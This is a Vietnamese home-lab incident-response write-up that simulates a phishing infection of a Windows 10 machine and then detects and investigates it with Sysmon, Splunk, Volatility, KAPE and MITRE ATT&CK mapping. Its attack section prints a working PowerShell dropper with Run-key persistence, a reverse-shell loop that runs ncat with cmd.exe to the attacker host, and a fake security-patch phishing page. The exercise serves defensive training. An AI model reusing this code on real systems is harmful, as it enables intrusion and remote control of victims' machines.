---
# System prepended metadata

title: 'DFIR Lab: Endpoint Incident Response Simulation'

---


# 1. Mở đầu

- **Mục đích**: Vận dụng những kiến thức đã học ở https://tryhackme.com/path/outline/soclevel1
- **Mô Tả Ngắn:** Mô phỏng quy trình Xử lý sự cố (Incident Response) từ phát hiện đến phục hồi, áp dụng các kiến thức về Giám sát điểm cuối (Endpoint Monitoring), SIEM, Phân tích mạng, Pháp y số và Phân tích mã độc trên môi trường lab.

# 2. Bối Cảnh và Mục Tiêu Lab

- **Bối Cảnh (Scenario)**
    - **Kịch bản tấn công:** Người dùng máy Windows 10 bị lừa tải và chạy mã độc từ website độc hại. Mã độc tạo persistence và thiết lập kênh C2 để đánh cắp dữ liệu nhạy cảm.
    - **Mục tiêu của dự án:** Phát hiện cuộc tấn công bằng SIEM, thực hiện các bước phản ứng sự cố, thu thập bằng chứng pháp y, phân tích hành vi của kẻ tấn công (bao gồm cả mã độc), và đưa ra khuyến nghị phòng ngừa.
- **Cấu hình Lab**

![converted](https://hackmd.io/_uploads/SJJEfHOFxl.jpg)
- **Các công cụ chính được sử dụng**
    - **Tấn công:** Python SimpleHTTPServer, Netcat, PowerShell.
    - **Giám sát & SIEM:** Sysmon, Splunk Enterprise.
    - **Pháp y & Phân tích:** WinPmem, Volatility Framework, KAPE, OSForensics
    - **Frameworks:** MITRE ATT&CK, Cyber Kill Chain, Diamond Model of Intrusion Analysis

# 3. Quy Trình Thực Hiện

## 3.1. Giai Đoạn Chuẩn Bị và Triển Khai Giám Sát

### **3.1.1 Cài đặt và Cấu hình máy ảo:** (Windows 10, Kali Linux)

- Trên Windows 10 (nạn nhân)
    - Cài đặt địa chỉ IP tĩnh là 192.168.100.100/24
    - Tắt Windows Security
    - Tắt UAC
- Trên Kali Linux (kẻ tấn công)
    - Cài đặt địa chỉ IP tĩnh là 192.168.100.150/24
- Trên Windows 10 (Splunk Server)
    - Cài đặt địa chỉ IP tĩnh là 192.168.100.120/24

### 3.1.2 Cài đặt và Cấu hình Sysmon trên máy Windows 10 (nạn nhân):

- Tải sysmon từ: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
- Tải file cấu hình sysmon từ: https://github.com/SwiftOnSecurity/sysmon-config
- Chạy lệnh cấu hình

```bnf
sysmon.exe -c sysmonconfig-export.xml
```
- Kiểm tra xem sysmon ghi log chưa

![converted_2](https://hackmd.io/_uploads/rkJAGSdKxx.jpg)

### 3.1.3 Triển khai Splunk Server và Splunk Forwarder:

- Triển khai Splunk Server và Splunk Forwarder

![converted_3a](https://hackmd.io/_uploads/S1Ai7SdFxg.jpg)

- Cấu hình file `inputs.conf`

![converted_3b](https://hackmd.io/_uploads/SJeCXr_txl.jpg)
![converted_3c](https://hackmd.io/_uploads/SkoAXH_Ygg.jpg)

### 3.1.4. Xây dựng luật cảnh báo

- alert_powershell:
![alert_powershell](https://hackmd.io/_uploads/SyThNSOFeg.jpg)

- alert_run_key:
![alert_run_key](https://hackmd.io/_uploads/ByUESS_Yex.jpg)

- alert_C2_Communication:
![alert_C2_communication](https://hackmd.io/_uploads/BkyurSOFlg.jpg)

## 3.2 Giai Đoạn Mô Phỏng Tấn Công

### **3.2.1 Chuẩn bị mã độc**

- `malware.ps1`
```bash
$HiddenDirPath = "$env:TEMP\MicrosoftUpdates" 
$NcatUrl = "http://192.168.100.150/lab/payloads/ncat.exe" 
$BackdoorUrl = "http://192.168.100.150/lab/payloads/backdoor.ps1"
$BackdoorLocalPath = Join-Path $HiddenDirPath "backdoor.ps1"
$NcatLocalPath = Join-Path $HiddenDirPath "ncat.exe"
Write-Host "Setting up persistence via Registry Run key..."
try {
    if (-not (Test-Path $HiddenDirPath)) {
        New-Item -Path $HiddenDirPath -ItemType Directory | Out-Null
        (Get-Item $HiddenDirPath).Attributes = "Hidden" 
        Write-Host "Created hidden directory: $HiddenDirPath"
    }
    Write-Host "Downloading ncat.exe from $NcatUrl..."
    (New-Object System.Net.WebClient).DownloadFile($NcatUrl, $NcatLocalPath)
    Write-Host "ncat.exe downloaded to $NcatLocalPath"
    Write-Host "Downloading backdoor.ps1 from $BackdoorUrl..."
    (New-Object System.Net.WebClient).DownloadFile($BackdoorUrl, $BackdoorLocalPath)
    Write-Host "backdoor.ps1 downloaded to $BackdoorLocalPath"
    $RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
    $EntryName = "MicrosoftSystemUpdate" 
    $CommandToRun = "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$BackdoorLocalPath`""
    Set-ItemProperty -Path $RegistryPath -Name $EntryName -Value $CommandToRun
    Write-Host "Registry Run key '$EntryName' set to launch '$BackdoorLocalPath' on login."
}
catch {
    Write-Warning "Error setting up persistence: $($_.Exception.Message)"
}

Write-Host "Malware script finished."
```

- `backdoor.ps1`
```bash
$KaliIP = "192.168.100.150" 
$KaliPort = 4444          
$NcatPath = "$env:TEMP\MicrosoftUpdates\ncat.exe"
$ReconnectDelaySeconds = 10 
$MaxAttempts = 0 
Write-Host "Attempting to establish reverse shell to $KaliIP $KaliPort..."
$attempts = 0
while ($true) {
    if ($MaxAttempts -ne 0 -and $attempts -ge $MaxAttempts) {
        Write-Warning "Maximum connection attempts ($MaxAttempts) reached. Exiting."
        break 
    }
    $attempts++
    Write-Host "Attempt #$attempts Trying to connect to $KaliIP:$KaliPort..."
    try {
        if (-not (Test-Path $NcatPath)) {
            Write-Warning "ncat.exe not found at $NcatPath. Aborting reverse shell."
            break 
        }
        $process = Start-Process -FilePath $NcatPath -ArgumentList "$KaliIP $KaliPort -e cmd.exe" -NoNewWindow -PassThru -ErrorAction SilentlyContinue
        if ($process) {
            Write-Host "Reverse shell initiated. Check Kali listener."
           
            $process.WaitForExit()
            Write-Host "ncat.exe process exited. Reconnecting in $ReconnectDelaySeconds seconds..."
        } else {
            Write-Warning "Failed to start ncat.exe process. Retrying in $ReconnectDelaySeconds seconds."
        }
    }
    catch {
        Write-Warning "Error during connection attempt: $($_.Exception.Message). Retrying in $ReconnectDelaySeconds seconds."
    }
i
    Start-Sleep -Seconds $ReconnectDelaySeconds
}
Write-Host "Backdoor script finished."
```

- File `index.html` đơn giản
```htmlmixed
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Thông báo quan trọng</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 50px; background-color: #f4f4f4; color: #333; }
        .container { background-color: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); max-width: 600px; margin: auto; }
        h1 { color: #d9534f; }
        .button { background-color: #5cb85c; color: white; padding: 10px 20px; text-align: center; text-decoration: none; display: inline-block; border-radius: 5px; margin-top: 20px; }
        .footer { margin-top: 30px; font-size: 0.9em; color: #777; }
    </style>
</head>
<body>
<div class="container">
<h1>Thông báo Bảo mật Khẩn cấp</h1>
<p>Kính gửi nhân viên,</p>
<p>Chúng tôi đã phát hiện một lỗ hổng bảo mật nghiêm trọng trong hệ thống máy tính của công ty. Để bảo vệ dữ liệu của bạn và của công ty, bạn cần phải cài đặt bản vá bảo mật khẩn cấp ngay lập tức.</p>
<p>Vui lòng click vào nút bên dưới để tải gói cập nhật bảo mật.</p>
<a href="http://192.168.100.150/lab/payloads/malware.ps1" class="button" download>Tải Gói Cập Nhật Bảo Mật</a>
<p class="footer">Nếu bạn có bất kỳ câu hỏi nào, vui lòng liên hệ Bộ phận IT.</p>
</div>
</body>
</html>
```
- Để minh họa giống hơn, có thể tạo một payload dạng `.exe` thay vì `.ps1` (ví dụ, dùng `msfvenom` hoặc compile một mã độc nhỏ). Việc đổi tên `.exe` thành `.pdf.exe` hoặc `.docx.exe` cũng là một kỹ thuật lừa đảo phổ biến.
- Kẻ tấn công sẽ host file bằng SimpleHTTPServer và người dùng có thể bị lừa down về

![Phishing](https://hackmd.io/_uploads/B14YvHOFee.jpg)
### 3.2.2 Nạn nhân tải mã độc về và thực thi

- Nạn nhân tải file
![Nannhan_DownMalware](https://hackmd.io/_uploads/SyEI_B_Kex.jpg)
- Nạn nhân thực thi file
![chay_malware_Powershelll](https://hackmd.io/_uploads/SyGDKSdKxg.jpg)
![nh_ti_xong_backdoor_v_ncat](https://hackmd.io/_uploads/H1DoYSdtlg.jpg)
![malware_registry](https://hackmd.io/_uploads/SJBW9SOtle.jpg)

### 3.2.3 Kẻ tấn công thực hiện C2 và **Exfiltration**

- Kẻ tấn công thiết lập `Netcat` lắng nghe kết nối, thiết lập reverse shell
![chy_reverse_shell_bn_kali](https://hackmd.io/_uploads/rkBU9SdFex.jpg)
- Kẻ tấn công đánh cắp thông tin trái phép
![ly_ni_dung_file](https://hackmd.io/_uploads/S11hqr_txg.jpg)

## 3.3. Giai Đoạn Phát Hiện và Phân Tích Ban Đầu (Góc nhìn SOC Analyst)

- **Phát hiện**
![nh_chp_alert_incident_responding](https://hackmd.io/_uploads/r1JXsS_Keg.jpg)
### Splunk log
- Nạn nhân tải file về
```tex
06/20/2025 11:53:28 PM
LogName=Microsoft-Windows-Sysmon/Operational
EventCode=11
EventType=4
ComputerName=DESKTOP-5AHDEJ1
User=NOT_TRANSLATED
Sid=
SidType=
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=1148352
Keywords=None
TaskCategory=File created (rule: FileCreate)
OpCode=Info
Message=File created:
RuleName: -
UtcTime: 2025-06-20 16:53:28.428
ProcessGuid: 
ProcessId: 1656
Image: C:\Users\\AppData\Local\Google\Chrome\Application\chrome.exe
TargetFilename: D:\download\malware.ps1
CreationUtcTime: 2025-06-20 16:53:28.428
User: DESKTOP-5AHDEJ1\
```
```
06/20/2025 11:53:31 PM
LogName=Microsoft-Windows-Sysmon/Operational
EventCode=15
EventType=4
ComputerName=DESKTOP-5AHDEJ1
User=NOT_TRANSLATED
Sid=
SidType=
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=1148359
Keywords=None
TaskCategory=File stream created (rule: FileCreateStreamHash)
OpCode=Info
Message=File stream created:
RuleName: -
UtcTime: 2025-06-20 16:53:31.15
ProcessGuid: 
ProcessId: 3120
Image: C:\Users\\AppData\Local\Google\Chrome\Application\chrome.exe
TargetFilename: D:\download\malware.ps1
CreationUtcTime: 2025-06-20 16:53:23.261
Hash: MD5=CBA6F1656E0AC69B98EDF11346A02A17,SHA256=B5B7E81F909DA616405752A7C71DECE2F556289E800C1C9E10F0B44B69EF38A6,IMPHASH=00000000000000000000000000000000
Contents: -
User: DESKTOP-5AHDEJ1\
```
- Malware thiết lập khóa Registry
```06/20/2025 11:54:35 PM
LogName=Microsoft-Windows-Sysmon/Operational
EventCode=13
EventType=4
ComputerName=DESKTOP-5AHDEJ1
User=NOT_TRANSLATED
Sid=
SidType=
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=1148390
Keywords=None
TaskCategory=Registry value set (rule: RegistryEvent)
OpCode=Info
Message=Registry value set:
RuleName: T1060,RunKey
EventType: SetValue
UtcTime: 2025-06-20 16:54:35.967
ProcessGuid: 
ProcessId: 6192
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetObject: HKU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftSystemUpdate
Details: powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\\AppData\Local\Temp\MicrosoftUpdates\backdoor.ps1"
User: DESKTOP-5AHDEJ1\
```
- Máy tính nạn nhân chạy ncat và tạo kết nối C2
```
06/20/2025 11:54:35 PM
LogName=Microsoft-Windows-Sysmon/Operational
EventCode=11
EventType=4
ComputerName=DESKTOP-5AHDEJ1
User=NOT_TRANSLATED
Sid=
SidType=
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=1148389
Keywords=None
TaskCategory=File created (rule: FileCreate)
OpCode=Info
Message=File created:
RuleName: -
UtcTime: 2025-06-20 16:54:35.945
ProcessGuid: 
ProcessId: 6192
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetFilename: C:\Users\\AppData\Local\Temp\MicrosoftUpdates\backdoor.ps1
CreationUtcTime: 2025-06-20 16:54:35.945
User: DESKTOP-5AHDEJ1\
```
```
06/20/2025 11:54:35 PM
LogName=Microsoft-Windows-Sysmon/Operational
EventCode=11
EventType=4
ComputerName=DESKTOP-5AHDEJ1
User=NOT_TRANSLATED
Sid=
SidType=
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=1148388
Keywords=None
TaskCategory=File created (rule: FileCreate)
OpCode=Info
Message=File created:
RuleName: EXE
UtcTime: 2025-06-20 16:54:35.759
ProcessGuid: 
ProcessId: 6192
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetFilename: C:\Users\\AppData\Local\Temp\MicrosoftUpdates\ncat.exe
CreationUtcTime: 2025-06-20 16:54:35.759
User: DESKTOP-5AHDEJ
```
```
06/20/2025 11:56:35 PM
LogName=Microsoft-Windows-Sysmon/Operational
EventCode=1
EventType=4
ComputerName=DESKTOP-5AHDEJ1
User=NOT_TRANSLATED
Sid=
SidType=
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=1148471
Keywords=None
TaskCategory=Process Create (rule: ProcessCreate)
OpCode=Info
Message=Process Create:
RuleName: -
UtcTime: 2025-06-20 16:57:19.011
ProcessGuid: 
ProcessId: 4580
Image: C:\Users\\AppData\Local\Temp\MicrosoftUpdates\ncat.exe
FileVersion: -
Description: -
Product: -
Company: -
OriginalFileName: -
CommandLine: "C:\Users\\AppData\Local\Temp\MicrosoftUpdates\ncat.exe" 192.168.100.150 4444 -e cmd.exe 
CurrentDirectory: C:\Users\\AppData\Local\Temp\MicrosoftUpdates\
User: DESKTOP-5AHDEJ1\
LogonGuid: 
LogonId: 
TerminalSessionId: 2
IntegrityLevel: High
Hashes: MD5=7E0DF5EFD2ADFC7FEEFEBE42C3A18D02,SHA256=5E107EA10383110BD801FB7DE11F59EE35F02B8E1DEFCADF34C0E3E769DF9341,IMPHASH=6EEFD92BFFBFB27F378B81C09CA96786
ParentProcessGuid: 
ParentProcessId: 6192
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" 
ParentUser: DESKTOP-5AHDEJ1\
```
```
06/20/2025 11:56:35 PM
LogName=Microsoft-Windows-Sysmon/Operational
EventCode=3
EventType=4
ComputerName=DESKTOP-5AHDEJ1
User=NOT_TRANSLATED
Sid=
SidType=
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=1148431
Keywords=None
TaskCategory=Network connection detected (rule: NetworkConnect)
OpCode=Info
Message=Network connection detected:
RuleName: Usermode
UtcTime: 2025-06-20 16:56:35.310
ProcessGuid: 
ProcessId: 8812
Image: C:\Users\\AppData\Local\Temp\MicrosoftUpdates\ncat.exe
User: DESKTOP-5AHDEJ1\
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 192.168.100.100
SourceHostname: DESKTOP-5AHDEJ1
SourcePort: 64113
SourcePortName: -
DestinationIsIpv6: false
DestinationIp: 192.168.100.150
DestinationHostname: 192.168.100.150.non-exists.ptr.local
DestinationPort: 4444
DestinationPortName: -
```

## 3.4 Giai Đoạn Phản Ứng và Pháp Y Số (Góc nhìn DFIR Analyst)

### 3.4.1 Thu thập bằng chứng pháp y

- Sử dụng `WinPMEM.exe` hoặc `FTK Imager` để tạo memory dump
[Donwload Here](https://github.com/Velocidex/WinPmem)
![kt_qu_chy_winpmem](https://hackmd.io/_uploads/rJ8PaSOYex.jpg)
- Sử dụng `KAPE` để thu thập artifacts
[Download Here](https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape?utm_source=sans&utm_medium=referral&utm_campaign=cyb-kape-download)
![Kt_qu_chy_kape](https://hackmd.io/_uploads/ByuHASOtxg.jpg)
- Sau khi thu thập đầy đủ bằng chứng, tiến hành cô lập máy tính nạn nhân khỏi mạng

### 3.4.2 Phân tích Memory Dump với Volatility
- Kết quả chạy `Volatility` với plugin `windows.info`
![Kt_qu_qu_chy_volatility_windows.info](https://hackmd.io/_uploads/S14Zy8OYxl.jpg)

- Plugin `windows.pslist`
```Volatility 3 Framework 2.26.2
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64      CreateTime      ExitTime        File output

4       0       System  0xd38544663080  279     -       N/A     False   2025-06-20 11:10:27.000000 UTC     N/A     Disabled
100     4       Registry        0xd385446f2080  4       -       N/A     False   2025-06-20 11:11:27.000000 UTC     N/A     Disabled
                       ......

8464    8044    powershell.exe  0xd3855b441080  14      -       1       False   2025-06-20 16:54:35.000000 UTC     N/A     Disabled
10176   8464    ncat.exe        0xd3854473c080  4       -       1       True    2025-06-20 16:54:35.000000 UTC     N/A     Disabled
                       ......
```

- Plugin `windows.pstree`
```Volatility 3 Framework 2.26.2
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64      CreateTime      ExitTime        Audit   Cmd     Path

* 100   4       Registry        0xd385446f2080  4       -       N/A     False   2025-06-20 11:10:27.000000 UTC     N/A     Registry        -       -
                      ....... 
**** 8464       8044    powershell.exe  0xd3855b441080  14      -       1       False      2025-06-20 16:54:35.000000 UTC  N/A     \Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe     "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
***** 10176     8464    ncat.exe        0xd3854473c080  4       -       1       True       2025-06-20 16:54:35.000000 UTC  N/A     \Device\HarddiskVolume2\Users\ \AppData\Local\Temp\MicrosoftUpdates\ncat.exe   䠀삅㱴荈⑤8赈♦䠀開Ә     ▃㞑☺쌀쳌쳌쳌쳌襈⑜唈赈⒬נּ腈샬♣謀맙↨
                      ....
```
- Plugin `windows.cmdline`
```Volatility 3 Framework 2.26.2
Progress:  100.00               PDB scanning finished
PID     Process Args

100     Registry        -
                      .......
8464    powershell.exe  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
6628    conhost.exe     -
10176   ncat.exe        䠀삅㱴荈⑤8赈♦䠀開Ә
                      .......
```
### 3.4.3 Phân tích Artifacts bằng OSForensics:

![mn_hnh_OSforensics](https://hackmd.io/_uploads/r1j9xI_Feg.jpg)
![Kt_qu_chy_OSforensics_file_system_ban_u](https://hackmd.io/_uploads/BJanlUutge.jpg)
- Phân tích Prefetch
![nh_kt_qu_prefetch_ncat](https://hackmd.io/_uploads/HyV-WI_txl.jpg)

# 4. Kết Quả và Phân tích (Mapping to Frameworks)
## **4.1 Các IOC được tìm thấy**
### **Network-based IOCs**

- Địa chỉ IP độc hại (C2 Server):
    - `192.168.100.150`: Đây là địa chỉ IP được sử dụng làm máy chủ C2 (Command and Control) để phân phối mã độc (`ncat.exe`, `backdoor.ps1`) và nhận kết nối reverse shell.
- Cổng độc hại:
    - `4444`: Cổng mà mã độc `ncat.exe` kết nối đến máy chủ C2 (Kali) để thiết lập reverse shell.
- URL tải xuống mã độc:
    - `<http://192.168.100.150/lab/payloads/malware.ps1>`: URL mà người dùng đã truy cập và tải xuống file `malware.ps1`.
    - `<http://192.168.100.150/lab/payloads/ncat.exe>`: URL mà `malware.ps1` tải xuống công cụ `ncat.exe`.
    - `<http://192.168.100.150/lab/payloads/backdoor.ps1>`: URL mà `malware.ps1` tải xuống script backdoor.

### **Host-based IOCs**

#### **File và Thư mục**

- Tên File mã độc ban đầu:
    - `malware.ps1`
- Đường dẫn file `malware.ps1` được tải về:
    - `D:\download\malware.ps1` (từ Sysmon EventCode 11)
- Thư mục ẩn do mã độc tạo ra:
    - `C:\Users\\AppData\Local\Temp\MicrosoftUpdates` hoặc `$env:TEMP\MicrosoftUpdates` (từ `malware.ps1` và Sysmon logs)
- Các file được tải xuống và lưu trong thư mục ẩn:
    - `C:\Users\\AppData\Local\Temp\MicrosoftUpdates\ncat.exe`
    - `C:\Users\\AppData\Local\Temp\MicrosoftUpdates\backdoor.ps1`

#### **Persistence (Cơ chế duy trì quyền truy cập)**

- Khóa Registry bị sửa đổi:
    - `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftSystemUpdate`
- Giá trị (Value) được gán cho khóa Registry:
    - `powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\\AppData\Local\Temp\MicrosoftUpdates\backdoor.ps1"`

#### **Mã băm (Hashes)**

- Hash của `malware.ps1` (tại thời điểm tải về):
    - MD5: `CBA6F1656E0AC69B98EDF11346A02A17`
    - SHA256: `B5B7E81F909DA616405752A7C71DECE2F556289E800C1C9E10F0B44B69EF38A6`
- Hash của `ncat.exe` (tại thời điểm tạo process):
    - MD5: `7E0DF5EFD2ADFC7FEEFEBE42C3A18D02`
    - SHA256: `5E107EA10383110BD801FB7DE11F59EE35F02B8E1DEFCADF34C0E3E769DF9341`

#### **Tiến trình (Processes)**

- Tiến trình PowerShell thực thi mã độc và backdoor:
    - `Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`
    - `ProcessId: 6192` (Sysmon EventCode 13, 11)
    - `CommandLine: "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\Users\\AppData\Local\Temp\MicrosoftUpdates\backdoor.ps1\""` (từ Registry Key)
- Tiến trình `ncat.exe` thiết lập reverse shell:
    - `Image: C:\Users\\AppData\Local\Temp\MicrosoftUpdates\ncat.exe`
    - `ProcessId: 4580` (Sysmon EventCode 1) hoặc `10176` (Volatility pslist)
    - `ParentProcessId: 6192` (tiến trình PowerShell)
    - `CommandLine: "C:\Users\\AppData\Local\Temp\MicrosoftUpdates\ncat.exe" 192.168.100.150 4444 -e cmd.exe"`

#### **Người dùng bị ảnh hưởng**
- DESKTOP-5AHDEJ1

## **4.2 Phân tích hành vi và ánh xạ MITRE ATT&CK**

### 4.2.1. Initial Access (Truy cập ban đầu)

- **Hành vi:** Kẻ tấn công đã lừa người dùng tải và chạy một file PowerShell (`malware.ps1`) từ một website độc hại. Điều này thường xảy ra thông qua các chiến dịch lừa đảo (phishing) hoặc kỹ thuật xã hội (social engineering).
- **Mã độc liên quan:** File `index.html` được thiết kế để dụ dỗ người dùng tải xuống `malware.ps1` bằng cách giả mạo thông báo cập nhật bảo mật khẩn cấp.
- **Bằng chứng:**
    - Nhật ký Sysmon EventCode 11 (File created) và EventCode 15 (File stream created) cho thấy `chrome.exe` đã tải `malware.ps1` về `D:\download\malware.ps1`.
    - Tên người dùng `DESKTOP-5AHDEJ1\` đã thực hiện hành động này.
- **Ánh xạ MITRE ATT&CK:**
    - **T1566 - Phishing:** Kẻ tấn công sử dụng các email, tin nhắn hoặc trang web lừa đảo để gửi liên kết độc hại.
    - **T1566.002 - Phishing: Spearphishing Link:** Cụ thể hơn, đây có thể là một liên kết độc hại được gửi đến nạn nhân để dụ họ nhấp vào và tải xuống file.
    - **T1204 - User Execution:** Kẻ tấn công dựa vào hành động của người dùng để thực thi mã độc. Trong trường hợp này là việc nạn nhân nhấp vào nút "Tải Gói Cập Nhật Bảo Mật" và chạy file PowerShell.
    - **T1204.002 - User Execution: Malicious File:** Nạn nhân đã tải và chạy một file có chứa mã độc.

### 4.2.2. Execution (Thực thi)

- **Hành vi:** Sau khi tải xuống, `malware.ps1` được thực thi trên máy tính của nạn nhân bằng PowerShell. Script này sau đó tự động tải và chạy thêm các thành phần độc hại khác.
- **Mã độc liên quan:**
    - `malware.ps1`: Chịu trách nhiệm thực thi ban đầu và thiết lập các bước tiếp theo.
    - `backdoor.ps1`: Được thực thi bởi `malware.ps1`.
- **Bằng chứng:**
    - Nhật ký Sysmon EventCode 11 (File created) ghi lại việc `powershell.exe` tạo các file `backdoor.ps1` và `ncat.exe` trong thư mục `Temp\MicrosoftUpdates`.
    - Nhật ký Sysmon EventCode 1 (Process Create) cho thấy `powershell.exe` là tiến trình cha của `ncat.exe`.
    - Kết quả `windows.pslist` và `windows.pstree` từ memory dump cũng xác nhận tiến trình `powershell.exe` (PID 8464) đang chạy.
- **Ánh xạ MITRE ATT&CK:**
    - **T1059 - Command and Scripting Interpreter:** Kẻ tấn công sử dụng các trình thông dịch dòng lệnh để thực thi lệnh.
    - **T1059.001 - Command and Scripting Interpreter: PowerShell:** Cụ thể, mã độc sử dụng PowerShell để thực thi các tác vụ.

### 4.2.3. Persistence (Duy trì quyền truy cập)

- **Hành vi:** Để đảm bảo mã độc có thể chạy lại mỗi khi người dùng đăng nhập, `malware.ps1` đã thiết lập một cơ chế duy trì quyền truy cập bằng cách thêm một khóa vào Registry Run Key.
- **Mã độc liên quan:** `malware.ps1` có đoạn code `$RegistryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ... Set-ItemProperty -Path $RegistryPath -Name $EntryName -Value $CommandToRun`.
- **Bằng chứng:**
    - Nhật ký Sysmon EventCode 13 (Registry value set) cho thấy khóa Registry `HKU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftSystemUpdate` đã được tạo hoặc sửa đổi.
    - Giá trị của khóa này là `powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\\AppData\Local\Temp\MicrosoftUpdates\backdoor.ps1"`, đảm bảo `backdoor.ps1` sẽ chạy khi khởi động.
- **Ánh xạ MITRE ATT&CK:**
    - **T1547 - Boot or Logon Autostart Execution:** Kẻ tấn công thiết lập mã độc để tự động thực thi khi khởi động hệ thống hoặc đăng nhập.
    - **T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder:** Cụ thể, mã độc sử dụng Registry Run Key để đạt được sự bền vững.

### 4.2.4. Defense Evasion (Né tránh phòng thủ)

- **Hành vi:** Mã độc thực hiện một số kỹ thuật để tránh bị phát hiện và phân tích.
- **Mã độc liên quan:**
    - `$HiddenDirPath = "$env:TEMP\\MicrosoftUpdates"` và `(Get-Item $HiddenDirPath).Attributes = "Hidden"` trong `malware.ps1` để tạo thư mục ẩn.
    - Sử dụng tham số `WindowStyle Hidden` trong lệnh PowerShell để chạy cửa sổ ẩn.
    - Sử dụng tham số `ExecutionPolicy Bypass` để bỏ qua chính sách thực thi PowerShell.
- **Bằng chứng:**
    - Đường dẫn `C:\Users\ \AppData\Local\Temp\MicrosoftUpdates` được tạo và ẩn.
    - Dòng lệnh trong Registry Run Key có chứa `WindowStyle Hidden` và `ExecutionPolicy Bypass`.
- **Ánh xạ MITRE ATT&CK:**
    - **T1564 - Hide Artifacts:** Kẻ tấn công cố gắng che giấu các file hoặc thư mục độc hại.
    - **T1564.001 - Hide Artifacts: Hidden Files and Directories:** Thư mục `MicrosoftUpdates` được đặt thuộc tính "Hidden".
    - **T1027 - Obfuscated Files or Information:** Mã độc sử dụng các kỹ thuật như `WindowStyle Hidden` để che giấu hoạt động của nó.
    - **T1027.004 - Obfuscated Files or Information: PowerShell Profile:** Sử dụng `NoProfile` có thể là một hình thức né tránh, ngăn việc tải các profile PowerShell mặc định có thể chứa các biện pháp bảo mật hoặc log.
    - **T1083 - File and Directory Discovery:** Mã độc cần tìm các đường dẫn như `%TEMP%` để lưu trữ file. (Hành vi này gián tiếp hỗ trợ Defense Evasion bằng cách sử dụng các thư mục ít được kiểm tra).

### 4.2.5. Command and Control (Điều khiển và Kiểm soát)

- **Hành vi:** Sau khi thiết lập persistence, `backdoor.ps1` sẽ cố gắng thiết lập một kênh liên lạc với máy chủ C2 để nhận lệnh và gửi dữ liệu.
- **Mã độc liên quan:** `backdoor.ps1` sử dụng `ncat.exe` để tạo reverse shell về máy Kali.
- **Bằng chứng:**
    - Nhật ký Sysmon EventCode 1 (Process Create) cho thấy `ncat.exe` được chạy với dòng lệnh `"C:\Users\ \AppData\Local\Temp\MicrosoftUpdates\ncat.exe" 192.168.100.150 4444 -e cmd.exe`.
    - Nhật ký Sysmon EventCode 3 (Network connection detected) xác nhận tiến trình `ncat.exe` (PID 8812) đã tạo kết nối TCP từ `192.168.100.100:64113` (máy nạn nhân) đến `192.168.100.150:4444` (máy chủ C2).
    - Kết quả Volatility `windows.pslist` và `windows.pstree` xác nhận tiến trình `ncat.exe` (PID 10176) đang chạy và là con của `powershell.exe`.
- **Ánh xạ MITRE ATT&CK:**
    - **T1071 - Application Layer Protocol:** Kẻ tấn công sử dụng các giao thức lớp ứng dụng để giao tiếp C2. Ở đây là thông qua kết nối TCP cơ bản mà `ncat` tạo ra, có thể truyền tải các lệnh và dữ liệu qua đó.
    - **T1071.001 - Application Layer Protocol: Web Protocols:** Việc tải file `malware.ps1`, `ncat.exe`, `backdoor.ps1` thông qua HTTP (WebClient) là một ví dụ.
    - **T1090 - Proxy:** `ncat` có thể hoạt động như một công cụ proxy đơn giản để chuyển tiếp lưu lượng.
    - **T1090.001 - Proxy: Internal Proxy:** Mặc dù không rõ ràng trong trường hợp này, `ncat` thường được sử dụng cho các kết nối trực tiếp hoặc proxy nội bộ.
    - **T1021 - Remote Services:** Kẻ tấn công có thể tương tác với các hệ thống từ xa thông qua các dịch vụ.
    - **T1021.001 - Remote Services: Remote Desktop Protocol:** Mặc dù không trực tiếp là RDP, việc thiết lập reverse shell thông qua `cmd.exe` cho phép kẻ tấn công tương tác với hệ thống từ xa như thể đang có phiên làm việc trực tiếp.
    - **T1048 - Exfiltration Over Alternative Protocol:** Nếu dữ liệu bị đánh cắp, nó có thể được gửi qua kênh C2 này. (Giả định dựa trên mô tả kịch bản "đánh cắp dữ liệu nhạy cảm").
